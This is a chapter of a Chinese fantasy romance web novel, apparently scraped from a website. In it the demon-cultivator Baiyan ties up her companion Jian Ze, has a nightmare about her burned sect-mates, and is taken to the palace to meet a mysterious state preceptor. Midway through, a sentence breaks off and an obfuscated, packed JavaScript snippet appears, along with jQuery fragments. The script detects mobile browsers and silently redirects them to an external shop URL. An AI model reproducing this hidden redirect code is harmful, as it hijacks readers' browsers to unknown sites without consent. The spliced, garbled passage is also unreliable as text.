46. 入宫

作品:《女魔头又在教天道做人

    看到简泽轻松自如地驯化煞气,百厌暗自抹了一把冷汗。


    好了,心心念念想将他煞气净化这事终于迎刃而解了,好歹没了一个烦恼不是?


    但百厌不怎么想,她反而觉得更烦了。


    上次不过在简泽的心法上掺了点魔族常练的功法,他气得要命,还赖百厌强迫他,没给他选择。如今发现自己更适合魔道,反倒越练越顺手了,凭着这悟性,这死不服输的韧劲,还有这成长速度,他该不会是想超越她吧。


    想得真美呀。


    但怎么看简泽都不像一个魔呀。魔,哪有长得一张小白脸的。


    明明就站在阴寒煞气之中,可只要瞧见那张脸,似是看到一轮皎白孤月跌进了深渊,眉眼清冷得过了分,哪有半分魔相。


    想起初见,百厌满身血污,抬头便看到的那尊神像,眉眼也是这般淡,这般远,不悲不悯,只是看着便应心生敬畏,让人不敢亵渎,仿佛她这满身的血、满心的恨,都不值得他垂一下眼。


    那时她就在想,既然天道神明是如此无情的东西,那毁掉也没有什么可惜的。


    如今百厌不仅毁了这尊神像,抢夺了对方的力量,还把对方留在世间的这抹主魂也没有放过,染黑了,揉碎了,生生将他拉入无底深潭。


    连煞气都能控制自如,把上界心心念念的鸿蒙山神子拉入了他们所不耻的魔道。


    她做了一件何其了不得的事情呀。


    虽这么想,百厌的眼神却逐渐沉了下去,语气也也变得冷淡,低声说道,“别显摆了,收起来吧。”


    外露的煞气一下子缩回了身体,简泽上前了两步坐在了百厌的身侧,眼神闪了闪,定定看着她,似乎在等待她的回应。


    百厌掂着茶杯,看见了他的眼神,心里只有阵阵不痛快,像是赤脚踩在了凹凸不平的石路上,浑身不自在。


    而她自己也弄不清这种不痛快究竟是为何。


    本想放生的人,却硬要留在自己的身边,怎么想都有点别扭。


    天已经黑了,百厌实在不想看到这张脸,手一拂,把蜡烛熄灭,钻进了被窝里,把头蒙住。


    “我睡了,你爱干嘛干嘛,别烦我。”


    在那张能容纳几人大的床榻上,百厌的四肢大大咧咧占据了每一角,这种霸道的姿态,分明不容许简泽上床。


    简泽坐在桌边,目光跟随着她的动作,知她又在逃避自己,便也没有再上前惹她不如意,伸手拿过她未喝完的茶,一饮而尽,随后静静地看向窗外的月色。


    如今的他和谁都没有任何干系,他只是他,一个在活了二十载的人罢了,只希望能顺应自己的内心选择而活着。


    许是蒙头睡觉的缘故,百厌睡得极其不稳当,当夜做了一个噩梦。


    禺山那场天火还在烧,昔日惨死的同门,一个个地从火光中走了出来。


    天火烧尽了他们身上能烧的一切,烧焦的脸,皱缩的嘴,一张一合,一遍遍地喊着她的名字。


    声音从烧穿的喉咙里挤出来,嘶嘶哑哑,如同疾风穿堂而过。


    焦黑尖锐的指骨狠狠地抓住她,扯住她,干枯的眼睛里全是怨恨。


    她呆愣在原地,无言而对,任由那些焦黑的手爬满她的身上。


    可在火光深处,还有一道目光徐徐地看着自己,隔着熊熊火焰,隔着这些抓着她不放的同门,一动不动立在那,似在谴责她,又似在视她于陌路。


    她心中一慌,张了张嘴,喊了那个人:师姐……


    天火越烧越旺,在她出声那一刻,视线被隔绝得彻底,一切都消失在梦中。


    百厌骤然醒来,心跳咚咚地跳得厉害,额间布满了冷汗,被子不知为何落在了肩膀的位置,她慌张地抓紧被子,指尖发白。


    师姐在梦里怪她。


    师姐不相信她……


    这个认知如同一盆冷水向她泼来,如果这个世界上连师姐都不相信她,那她该怎么办…


    百厌浑身发冷,曲着膝盖坐了起来,冷汗从鬓角淌下来,沿着下巴,滴在手背上。


    简泽从横梁观察了她一会,察觉到她有异常便跳了下来,快步上前,坐在了她的身侧。


    “怎么了?”他探出手为她擦拭冷汗,百厌难得没有拒绝他的触碰,但也没有回话,眼神少见的空洞,无神地盯着眼前被褥的花样。


    阳光从窗缝里钻了进来,刺眼的金色映在瞳孔里,让她有了一丝清醒,抬头看向窗外,才发现天已经亮了。


    梦里向她索命的是同门,而一觉天亮的却是她。


    百厌想,如果国师不愿见她,她便是要闯去宫中打草惊蛇了。


    她闭了闭眼睛,猛地抓住了简泽为她擦汗的手,指尖掐在了他的手背上,眸中闪过几分迷茫,撞进那深邃的瞳孔中。


    “如果……”百厌顿了顿,神情变得有些难堪,咬咬牙,想了个通俗的例子说了出来,“如果你有一天见到了杀你全家的人,会做什么?”


    “一剑毙之。”简泽看着她握住自己的手,脱口而出。


    “……”百厌听完,眨了眨眼睛,脑子彻底清醒了过来,把他的手移到床边,一把扔开,抬头时嘴角扯出一丝笑意,又警告道,“没事少碰我。”


    就知道这人嘴里说不出好话。


    百厌气冲冲地下床穿衣,坐在铜镜面前,手里攥着把梳子有一没一下地整理着那头青丝。


    铜镜上多了一个身影,简泽站在百厌身后,察觉到她生气,脸上得神情有几分无措。


    他辨道,“是你问我的。”


    “呵,一剑毙之?!”


    百厌冷笑一声,将那梳子往梳妆台上一搁,不依不饶地说道,“你难道就不问问缘由?就算囚犯上法场,也容他说完最后一句话吧。”


    见她如此在意,不似她的性格,简泽神情一变,问道,“你杀了谁?”


    “你管我?”百厌呛了回去。


    屋外传来一阵脚步声,随后门被叩响。


    “小姐?”老管家的声音在外面响起,“宫里来马车了,正停在府门口,说是来接您的。”


    “知道了。”


    百厌应了一声,心头的大石落了下来。


    刚打算开门,见简泽黏在身后,睨了他一眼:“干嘛?”


    “我也去。”简泽手里还拿着顶兜帽,想了想又再说道,“我躲着。”


    “谁说带你去了?”百厌边说边翻了个白眼,手指在空中缓缓地转了个圈。


    一条由灵力缠绕而成的绳索赫然出现在简泽身上,他还没得及反应,整个人已经被五花大绑固定到了床上,绳索将


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320188|197762||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    四肢牢牢绑紧套在床榻四角。


    他皱着眉动了动四肢,发现以自己目前的力量解不开后,索性不动了,抬头看向百厌,眼里有了细微波动,他压着声音说道,“你又诓我?”


    百厌走过去,笑嘻嘻地弯下腰,看着那张呈现出几分生气的脸,心情大好地伸手拍了拍,细腻的手感让她忍不住停留了一会,随即掐住他光滑的腮边。


    “不要以为你驯化了煞气,就能跟在我身边了。”百厌不屑地说道,“凭你这点修为,和冷靖那小子也就差不多,做人呀,还是不要太好高骛远。”


    简泽盯着她,下颌绷紧成峰,唇边没有一丝弧度,周身透着拒人千里之外的疏离,眼中划过几缕恨意。


    又是如此!无论他做到何种程度,她永远不将他放在眼里。


    “说你又不服气,算了。”百厌言尽于此,也懒得再哄他。


    走到门口时,百厌还是回头嘱咐道,“乖乖等着,别乱动,那绳索越挣扎越痛的。”


    简泽还是眼神沉沉地看着她,不发一言,在她看不到的眼底深处翻涌着波涛的煞气。


    马车辘辘地穿过街道,驶向皇宫。


    一路上,周街都是百姓的烟火气息,熙熙攘攘,热闹喧嚣。只是不知道这太平日子还能过多久,也不知道这趟皇宫之行,又将会改变多少人和事。


    正如皇宫也是这个皇宫,可里面早已改朝换代。


    变化一直都在。


    放眼望去,天地宽阔,人间不止一个裕国,地界不止一个凤凰城。裕国再大,凤凰城再辉煌,放在四海里头,也不过沧海一粟,再过个百来年,春风又吹,还是会生出新的国家,新的城池,街巷里还会有人间烟火。


    投胎转世,死去的人总会换一种形式归来属于他们的人间,只是到那时候,早已不是眼前这一拨人了。


    宫内的风景一如既往,百厌有些恍惚,在这住了几年,没想到会有回来的一天。


    听她爹说,简泽那些妃嫔早就遣散了,花贵人也早已改嫁,如今这后宫里,她爹没有妃嫔,空空荡荡的,只有几个老嬷嬷守着。


    远处,那座曾被烧毁的瞭望塔重新建了起来,比原来更高,更气派。


    马车拐过一个弯,速度慢了下来,最后,停在一座深宫前。


    驾车的随从下了车,恭恭敬敬地道,“小姐,您要见的人就在前面,小的不能进去,您自己走进去便是。”


    百厌下了车,走了几步就感受到了一股无形的屏障,回头一看,马车及随从已经不见踪影。


    这国师果然是有修为,懂法术。


    再继续往前走,鼻子忽然涌进一股若隐若现的花香,百厌脚步一顿。


    这香味,她太熟悉了,淡淡的香味中带点苦涩。


    那是禺山第一峰的独属味道,后山有一片花海,每年夏天漫山遍野的杜鹃花,红的白的紫的,层层叠叠,香气飘遍整个山门。


    那是她从小闻到大味道,也是她最爱的味道,每次闭关出来,师姐都会去采一捧花,放在她房里欢迎她回来。


    百厌加快脚步,循着那股熟悉的花香,一头扎进一个四方庭院,里面果然是郁郁葱葱,芬芳馥郁的杜鹃花,


    一片花海之中,她骤然止步,抬头不可思议地看着眼前紧闭的殿门。